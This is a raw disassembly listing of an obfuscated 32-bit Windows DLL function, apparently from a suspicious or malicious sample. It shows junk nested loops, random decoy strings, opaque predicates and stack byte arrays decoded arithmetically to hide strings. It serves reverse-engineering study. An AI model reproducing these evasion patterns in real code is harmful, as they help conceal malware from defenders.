mov dword [ebp - 4], 1
jmp 0x10034074
mov dword [ebp - 0x29c], 0x241b
mov dword [ebp - 0x4ac], str.zouqydxs_uehhpfpjz_vpwavwmr_ccxvw_esiuwyhl
cmp dword [ebp - 0x29c], 0x25b4
jle 0x10034145
push 0x857
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
and dword [ebp - 0x188], 0
jmp 0x100340bb
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x2d5f
jge 0x10034145
and dword [ebp - 0x118], 0
jmp 0x100340dd
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x18a6
jge 0x10034140
mov eax, dword [ebp - 0x188]
add eax, dword [ebp - 0x118]
cdq
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], edx
push dword [ebp - 0x4a4]
push dword [ebp - 0x4a8]
lea ecx, [ebp - 0x6fc]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x3ec], eax
mov ecx, dword [ebp - 0x3ec]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x6fc]
call fcn.10001bac
jmp 0x100340d0
jmp 0x100340ae
mov dword [ebp - 0x1b0], 0
jmp 0x1003415e
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 1
jge 0x1003417a
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x1f0], 0x9909d073
jmp 0x10034151
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x29c], 0x20c5
jge 0x10034196
push dword [ebp - 0x4ac]
call fcn.1004b2d6
pop ecx
jmp 0x100341b2
mov dword [ebp - 4], 1
jmp 0x100341c2
mov eax, dword [ebp - 0x6c]
cmp dword [ebp + eax*4 - 0x560], 0
jne 0x1003427c
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0x560]
mov dword [ebp - 0x630], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b8]
cmp eax, dword [ebp - 0x3f4]
je 0x10034204
mov dword [ebp - 0x364], 1
jmp 0x1003420b
and dword [ebp - 0x364], 0
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xac]
sub eax, dword [ebp - 0x364]
add eax, dword [ebp - 0x51c]
cmp eax, 0x7d266845
jg 0x1003423d
mov dword [ebp - 0x2a4], 1
jmp 0x10034244
and dword [ebp - 0x2a4], 0
cmp dword [ebp - 0x2a4], 0xb0969e0c
je 0x1003425c
mov dword [ebp - 0x314], 1
jmp 0x10034263
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 2
jae 0x1003427c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1f0], 0
je 0x10034291
cmp dword [ebp - 0x3fc], 0
je 0x10034291
mov dword [ebp - 0x2ac], 1
jmp 0x10034298
and dword [ebp - 0x2ac], 0
mov eax, dword [ebp - 0x2bc]
cmp dword [ebp - 0x2ac], eax
jg 0x100342b2
mov dword [ebp - 0x34c], 1
jmp 0x100342b9
and dword [ebp - 0x34c], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x34c]
mov dword [ebp + eax - 0x5b0], ecx
mov eax, dword [ebp - 0x1e0]
cmp eax, dword [ebp - 0x4b8]
jge 0x100342e5
mov dword [ebp - 0x2b4], 1
jmp 0x100342ec
and dword [ebp - 0x2b4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b4]
sub ecx, dword [ebp + eax - 0x1b8]
jne 0x10034313
cmp dword [ebp - 0x404], 0
jne 0x10034313
and dword [ebp - 0x31c], 0
jmp 0x1003431d
mov dword [ebp - 0x31c], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x31c]
mov dword [ebp + eax - 0x1b8], ecx
mov eax, dword [ebp - 0x20c]
mov dword [ebp - 0x658], eax
mov eax, dword [ebp - 0x534]
mov dword [ebp - 0x638], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1f0]
mov dword [ebp - 0x5f4], eax
cmp dword [ebp - 0x2bc], 0
jne 0x10034376
mov eax, 0x9815
test eax, eax
jne 0x10034376
and dword [ebp - 0x40c], 0
jmp 0x10034380
mov dword [ebp - 0x40c], 1
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x5f8], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x1f0]
sub edx, dword [ebp + ecx - 0x56c]
cmp edx, dword [ebp + eax - 0x560]
jl 0x100343c1
mov dword [ebp - 0x378], 1
jmp 0x100343c8
and dword [ebp - 0x378], 0
cmp dword [ebp - 0x378], 0x729c
je 0x100343e0
mov dword [ebp - 0x2c4], 1
jmp 0x100343e7
and dword [ebp - 0x2c4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x2c4]
mov dword [ebp + eax - 0x56c], ecx
jmp 0x10033d53
mov eax, dword [ebp - 0x20c]
cmp eax, dword [ebp - 0x54]
jge 0x10034416
mov dword [ebp - 0x228], 1
jmp 0x1003441d
and dword [ebp - 0x228], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x394]
add ecx, 5
cmp ecx, dword [ebp + eax - 0x56c]
jg 0x10034448
push 8
pop eax
test eax, eax
je 0x10034448
mov dword [ebp - 0x210], 1
jmp 0x1003444f
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0xac]
cmp dword [ebp - 0x210], eax
jge 0x10034469
mov dword [ebp - 0x218], 1
jmp 0x10034470
and dword [ebp - 0x218], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x56c]
cmp dword [ebp - 0x218], eax
jl 0x10034491
mov dword [ebp - 0x220], 1
jmp 0x10034498
and dword [ebp - 0x220], 0
mov eax, dword [ebp - 0x414]
cmp dword [ebp - 0x220], eax
jle 0x100344b2
mov dword [ebp - 0x524], 1
jmp 0x100344b9
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x228], 0xffff
ja 0x100344dd
mov dword [ebp - 0x230], 1
jmp 0x100344e4
and dword [ebp - 0x230], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x230]
mov dword [ebp + eax - 0x1b8], ecx
jmp 0x10033cd5
mov dword [ebp - 0x240], 0x2aaa
mov dword [ebp - 0x540], str.ufqlgrt_bdbmb_ibzrsmkr_ajju_qrpohk_xnvekl_ivjdezuja_uqmk_fcw_tff_zyywgove_iax
cmp dword [ebp - 0x240], 0x2c97
jle 0x100345fb
and dword [ebp - 0x128], 0
jmp 0x10034536
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x77d6
jge 0x100345fb
and dword [ebp - 0x194], 0
jmp 0x1003455c
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x140d
jge 0x100345f6
and dword [ebp - 0x130], 0
jmp 0x10034582
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x518c
jge 0x100345f1
and dword [ebp - 0x1b4], 0
jmp 0x100345a4
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x6055
jge 0x100345ef
mov eax, dword [ebp - 0x128]
imul eax, dword [ebp - 0x194]
imul eax, dword [ebp - 0x130]
and eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], edx
push dword [ebp - 0x4b0]
push dword [ebp - 0x4b4]
mov ecx, 0x1007d9f8
call fcn.10001bd6
jmp 0x10034597
jmp 0x10034575
jmp 0x1003454f
jmp 0x10034529
lea eax, [ebp - 0x608]
push eax
mov ecx, 0x100e1abc
call fcn.10014774
push eax
lea ecx, [ebp - 0x238]
call fcn.1001484e
movzx eax, al
test eax, eax
je 0x1003470b
mov dword [ebp - 0x4d0], 1
mov dword [ebp - 0x41c], 0xfffffff6
mov dword [ebp - 0x61c], 0x1ca2961c
mov dword [ebp - 0x624], 1
mov dword [ebp - 0x424], 0xfffffffd
mov dword [ebp - 0x138], 0
jmp 0x1003466e
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 3
jge 0x1003468a
mov eax, dword [ebp - 0x138]
mov dword [ebp + eax*4 - 0x7c8], 0xffffffff
jmp 0x10034661
push 0x4281
push 0x4a1
push 0
push 0x1034
push 0x47e9
push 0
lea eax, [ebp - 0x41c]
push eax
push 1
lea eax, [ebp - 0x4d0]
push eax
push 0x41fb
push 0x2214
call fcn.100360f0
add esp, 0x2c
push 1
lea eax, [ebp - 0x424]
push eax
push 0x35b5
push 1
push 0x34b5
call fcn.100306e3
add esp, 0x14
lea ecx, [ebp - 0x238]
call fcn.10041004
mov ecx, dword [ebp - 0x348]
mov eax, dword [eax + 4]
mov dword [ecx], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x584]
call fcn.10014550
jmp 0x10035f50
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x240], 0x2760
jge 0x1003472b
mov edx, dword [ebp - 0x540]
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x10034747
mov dword [ebp - 4], 1
jmp 0x10034757
and dword [ebp - 0x4c], 0
mov dword [ebp - 0x5c0], 0xfff7
mov dword [ebp - 0x5bc], 0xfff7
mov dword [ebp - 0x5b8], 0xfff7
mov dword [ebp - 0x5b4], 0xfff7
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x60], 1
mov dword [ebp - 0x58], 0x923607a9
mov dword [ebp - 0x634], 0x4a20a298
mov dword [ebp - 0x248], 0x1cbd
mov dword [ebp - 0x4dc], str.pwurci_daju_qaxsesxf_slalrwsl_nymllehg_fwxajkwsm_scjg_dyk_fhljohutc_uuhrzbya
cmp dword [ebp - 0x248], 0x1d10
jle 0x1003486a
and dword [ebp - 0x19c], 0
jmp 0x100347df
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xf1a
jge 0x1003486a
and dword [ebp - 0x140], 0
jmp 0x10034801
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x2308
jge 0x10034865
mov eax, dword [ebp - 0x19c]
imul eax, dword [ebp - 0x140]
cdq
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], edx
push dword [ebp - 0x4bc]
push dword [ebp - 0x4c0]
lea ecx, [ebp - 0x744]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x42c]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x744]
call fcn.10001bac
jmp 0x100347f4
jmp 0x100347d2
mov dword [ebp - 0x43c], 1
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x248], 0x1963
jge 0x10034890
push dword [ebp - 0x4dc]
call fcn.1004b2d6
pop ecx
jmp 0x100348ac
mov dword [ebp - 4], 1
jmp 0x100348bc
mov dword [ebp - 0x1a4], 0x3dda37bb
mov dword [ebp - 0x63c], 1
mov dword [ebp - 0x4e8], 0xab4456e3
mov dword [ebp - 0x250], 0xea311c3f
mov dword [ebp - 0x24], 0
jmp 0x100348f4
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x1003490a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x434], 1
jmp 0x100348ed
mov dword [ebp - 0x24], 0
jmp 0x1003491a
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x10034930
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x6cc], 0x9683648b
jmp 0x10034913
mov dword [ebp - 0x1c4], 3
jmp 0x10034949
mov eax, dword [ebp - 0x1c4]
dec eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jl 0x10034a84
mov dword [ebp - 0x644], 0xffffffff
mov dword [ebp - 0x148], 0
jmp 0x10034979
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 3
jge 0x10034995
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0x688], 0xd00693e9
jmp 0x1003496c
mov eax, dword [ebp - 0x250]
dec eax
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x58], 0
jmp 0x100349b2
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jg 0x10034a7f
mov dword [ebp - 0x260], 0x75cf
mov dword [ebp - 0x60], 0
jmp 0x100349d6
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jg 0x10034a1d
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ebp + ecx*4 - 0x5c0]
add ecx, dword [ebp + eax*4 - 0x434]
cmp ecx, dword [ebp - 0x260]
jg 0x10034a04
mov dword [ebp - 0x258], 1
jmp 0x10034a0b
and dword [ebp - 0x258], 0
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x688], ecx
jmp 0x100349cf
mov dword [ebp - 0x1a4], 0
jmp 0x10034a36
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jl 0x10034a7a
mov dword [ebp - 0x52c], 0xb8319b88
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x52c]
push eax
lea eax, [ebp - 0x43c]
push eax
push 0
lea eax, [ebp - 0x4e8]
push eax
push 0x2be3
lea eax, [ebp - 0x60]
push eax
call fcn.1003f7e8
add esp, 0x1c
jmp 0x10034a29
jmp 0x100349ab
jmp 0x1003493c
lea eax, [ebp - 0x584]
push eax
call fcn.1002d6e2
pop ecx
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x100357a9
mov dword [ebp - 0x5a0], 0xfff7
mov dword [ebp - 0x59c], 0xfff7
mov dword [ebp - 0x598], 0xfff7
mov dword [ebp - 0x594], 0xfff7
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x5c], 0x923607a9
mov dword [ebp - 0x64c], 0x4a20a298
mov dword [ebp - 0x458], 1
mov dword [ebp - 0x268], 0x65f0
mov dword [ebp - 0x444], str.dizruvdg_euz_qxfzsfer_oustoco_dxzrmom_urlfl_zoez_jruafphru_luoks_sokqhkqjs_hivg_ztnpbtq
cmp dword [ebp - 0x268], 0x6770
jle 0x10034b91
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
and dword [ebp - 0x150], 0
jmp 0x10034b30
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x1c29
jge 0x10034b91
and dword [ebp - 0x1bc], 0
jmp 0x10034b52
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x2ff7
jge 0x10034b8f
mov eax, dword [ebp - 0x150]
sub eax, dword [ebp - 0x1bc]
cdq
mov dword [ebp - 0x4cc], eax
mov dword [ebp - 0x4c8], edx
push dword [ebp - 0x4c8]
push dword [ebp - 0x4cc]
mov ecx, 0x1007d9f8
call fcn.10001bd6
jmp 0x10034b45
jmp 0x10034b23
mov dword [ebp - 0xcc], 0x3dda37bb
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x268], 0x6436
jge 0x10034bbb
mov edx, dword [ebp - 0x444]
mov ecx, 0x1007d9f8
call fcn.1000358d
jmp 0x10034bd7
mov dword [ebp - 4], 1
jmp 0x10034be7
mov dword [ebp - 0x654], 1
mov dword [ebp - 0x518], 0xab4456e3
mov dword [ebp - 0x270], 0xea311c3f
mov dword [ebp - 0x30], 0
jmp 0x10034c15
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 1
jge 0x10034c2b
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x44c], 1
jmp 0x10034c0e
mov dword [ebp - 0x30], 0
jmp 0x10034c3b
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x10034c51
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x6e4], 0x9683648b
jmp 0x10034c34
mov dword [ebp - 0xb0], 3
jmp 0x10034c6a
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x1003503d
mov dword [ebp - 0x65c], 0xffffffff
mov dword [ebp - 0xb4], 0
jmp 0x10034c9a
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x10034cb6
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x6ac], 0xd00693e9
jmp 0x10034c8d
mov eax, dword [ebp - 0x270]
dec eax
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x290], 0x77bc
mov dword [ebp - 0x398], str.fpwam_fusowope_orm
cmp dword [ebp - 0x290], 0x7a83
jle 0x10034d88
and dword [ebp - 0xbc], 0
jmp 0x10034cfd
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x414a
jge 0x10034d88
and dword [ebp - 0xc4], 0
jmp 0x10034d1f
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x5348
jge 0x10034d83
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0xc4]
cdq
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], edx
push dword [ebp - 0x4d4]
push dword [ebp - 0x4d8]
lea ecx, [ebp - 0x7a4]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x510], eax
mov ecx, dword [ebp - 0x510]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x7a4]
call fcn.10001bac
jmp 0x10034d12
jmp 0x10034cf0
mov dword [ebp - 0x5c], 0
jmp 0x10034d98
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jg 0x10034ff0
mov dword [ebp - 0x280], 0x75cf
mov dword [ebp - 0x48], 0
jmp 0x10034dbc
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jg 0x10034e03
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ebp + ecx*4 - 0x5a0]
add ecx, dword [ebp + eax*4 - 0x44c]
cmp ecx, dword [ebp - 0x280]
jg 0x10034dea
mov dword [ebp - 0x278], 1
jmp 0x10034df1
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x278]
mov dword [ebp + eax*4 - 0x6ac], ecx
jmp 0x10034db5
mov dword [ebp - 0xcc], 0
jmp 0x10034e1c
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x10034feb
mov dword [ebp - 0x464], 0xb8319b88
mov dword [ebp - 0x288], 0x436c
mov dword [ebp - 0x500], str.ffl_zjcx_pwdvtipgr_yfktkf_fjaju_fylholr_cahn_okfmqqs_mmir_wmcukki_pvooybr_txmvtot
cmp dword [ebp - 0x288], 0x456c
jle 0x10034f65
and dword [ebp - 0xe4], 0
jmp 0x10034e6d
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x250c
jge 0x10034f65
and dword [ebp - 0xd4], 0
jmp 0x10034e93
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x3b49
jge 0x10034f60
and dword [ebp - 0xdc], 0
jmp 0x10034eb9
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x2524
jge 0x10034f5b
and dword [ebp - 0xec], 0
jmp 0x10034edf
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x808
jge 0x10034f56
mov eax, dword [ebp - 0xd4]
cdq
idiv dword [ebp - 0xdc]
mov eax, dword [ebp - 0xe4]
mov ecx, edx
shl eax, cl
xor eax, dword [ebp - 0xec]
cdq
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], edx
push dword [ebp - 0x4e0]
push dword [ebp - 0x4e4]
lea ecx, [ebp - 0x774]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x4f4], eax
mov ecx, dword [ebp - 0x4f4]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x774]
call fcn.10001bac
jmp 0x10034ed2
jmp 0x10034eac
jmp 0x10034e86
jmp 0x10034e60
push 0x378b
push 0x4f81
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x518]
push eax
push 0
lea eax, [ebp - 0x464]
push eax
push 0x2aab
call fcn.1004071e
add esp, 0x24
mov byte [ebp - 4], 0x14
cmp dword [ebp - 0x288], 0x4216
jge 0x10034fba
push dword [ebp - 0x500]
call fcn.1004b2d6
pop ecx
jmp 0x10034fd6
mov dword [ebp - 4], 1
jmp 0x10034fe6
jmp 0x10034e0f
jmp 0x10034d91
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x290], 0x77a3
jge 0x1003500c
push dword [ebp - 0x398]
call fcn.1004b2d6
pop ecx
jmp 0x10035028
mov dword [ebp - 4], 1
jmp 0x10035038
jmp 0x10034c5d
cmp dword [0x100e05ec], 0
jne 0x1003578b
mov byte [ebp - 0xa8], 9
mov byte [ebp - 0xa7], 0x52
mov byte [ebp - 0xa6], 5
mov byte [ebp - 0xa5], 8
mov byte [ebp - 0xa4], 0xa
mov byte [ebp - 0xa3], 0
mov byte [ebp - 0xa2], 3
mov byte [ebp - 0xa1], 2
mov byte [ebp - 0xa0], 1
mov byte [ebp - 0x9f], 0xb
mov byte [ebp - 0x9e], 0
mov byte [ebp - 0x9d], 0x2e
mov byte [ebp - 0x9c], 0xb
mov byte [ebp - 0x9b], 0x27
mov byte [ebp - 0x9a], 6
mov byte [ebp - 0x99], 0x5f
mov byte [ebp - 0x98], 2
mov byte [ebp - 0x97], 0x41
mov byte [ebp - 0x96], 8
mov byte [ebp - 0x95], 0x5c
mov byte [ebp - 0x94], 3
mov byte [ebp - 0x93], 0xcf
mov byte [ebp - 0x92], 0xf0
mov byte [ebp - 0x91], 0x1c
mov byte [ebp - 0x90], 7
mov byte [ebp - 0x8f], 0x1c
mov byte [ebp - 0x8e], 4
mov byte [ebp - 0x8d], 0x57
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa8]
and eax, 0x36
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa8]
or ecx, 0x36
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa8]
mov word [ebp + eax*2 - 0x5ec], cx
mov dword [ebp - 0x14], 2
and dword [ebp - 0x114], 0
jmp 0x10035160
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1c
jae 0x100353a9
mov dword [ebp - 0x298], 0x308b
mov dword [ebp - 0x3a8], str.iwjem_moc_rgxa_lvmhos_urhtu_bppsfpn_ndeisxvgs_vgs_jxda_uahqlouxn_lvtuqf_qjyniu
cmp dword [ebp - 0x298], 0x332c
jle 0x10035298
and dword [ebp - 0x10c], 0
jmp 0x100351a4
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x2e3b
jge 0x10035298
and dword [ebp - 0xf4], 0
jmp 0x100351ca
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x30ec
jge 0x10035293
and dword [ebp - 0xfc], 0
jmp 0x100351f0
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x233
jge 0x1003528e
and dword [ebp - 0x104], 0
jmp 0x10035216
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x627f
jge 0x10035289
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xfc]
shl eax, cl
mov ecx, dword [ebp - 0x104]
shl eax, cl
and eax, dword [ebp - 0x10c]
cdq
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], edx
push dword [ebp - 0x4ec]
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x714]
call fcn.10001a31
pop ecx
pop ecx
mov dword [ebp - 0x3a0], eax
mov ecx, dword [ebp - 0x3a0]
call fcn.10001bb6
push eax
call fcn.1004b2d6
pop ecx
lea ecx, [ebp - 0x714]
call fcn.10001bac
jmp 0x10035209
jmp 0x100351e3
jmp 0x100351bd
jmp 0x10035197
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x14], eax
jne 0x100352db
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0xa8]
inc eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0xa8]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x14], eax
jmp 0x10035158
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x298], 0x2f16
jge 0x100352f7
push dword [ebp - 0x3a8]
call fcn.1004b2d6
pop ecx
jmp 0x10035313
mov dword [ebp - 4], 1
jmp 0x10035323
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0xaa]
movzx eax, word [ebp + eax*2 - 0x5ec]
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ebp + ecx - 0xa7]
and ecx, eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0xaa]
movzx eax, word [ebp + eax*2 - 0x5ec]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0xa7]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x14]
movzx eax, byte [ebp + eax - 0xa8]
mov word [ebp + eax*2 - 0x5ec], dx
push 0x687f
push 0x312f
lea eax, [ebp - 0x114]
push eax
push 0x2428
push 0
call fcn.10036078
add esp, 0x14
jmp 0x10035158
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0x5ec], cx
lea eax, [ebp - 0x5ec]
push eax
lea ecx, [ebp - 0x72c]
call fcn.1001bad8
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b8], eax
mov byte [ebp - 4], 0x1a
push dword [ebp - 0x3b8]
call fcn.1002d6e2
pop ecx
mov dword [ebp - 0x2a8], eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x72c]
call fcn.10014550
and dword [ebp - 0x11c], 0
jmp 0x10035418
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xd
jae 0x10035433
xor eax, eax
mov ecx, dword [ebp - 0x11c]
mov word [ebp + ecx*2 - 0x5ec], ax
jmp 0x1003540b
cmp dword [ebp - 0x2a8], 0
je 0x1003578b
mov byte [ebp - 0x8c], 9
mov byte [ebp - 0x8b], 0xf2
mov byte [ebp - 0x8a], 0
mov byte [ebp - 0x89], 0x3e
mov byte [ebp - 0x88], 2
mov byte [ebp - 0x87], 0x2d
mov byte [ebp - 0x86], 8
mov byte [ebp - 0x85], 0
mov byte [ebp - 0x84], 5
mov byte [ebp - 0x83], 8
mov byte [ebp - 0x82], 6
mov byte [ebp - 0x81], 0xb
mov byte [ebp - 0x80], 0xb
mov byte [ebp - 0x7f], 0x35
mov byte [ebp - 0x7e], 0xa
mov byte [ebp - 0x7d], 0x2e
mov byte [ebp - 0x7c], 3
mov byte [ebp - 0x7b], 0x1d
mov byte [ebp - 0x7a], 4
mov byte [ebp - 0x79], 0x28
mov byte [ebp - 0x78], 2
mov byte [ebp - 0x77], 0x4e
mov byte [ebp - 0x76], 0x41
mov byte [ebp - 0x75], 1
mov byte [ebp - 0x74], 0x23
mov byte [ebp - 0x73], 7
mov byte [ebp - 0x72], 0x1d
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x8c]
and eax, 0x80
xor ecx, ecx
inc ecx
shl ecx, 0
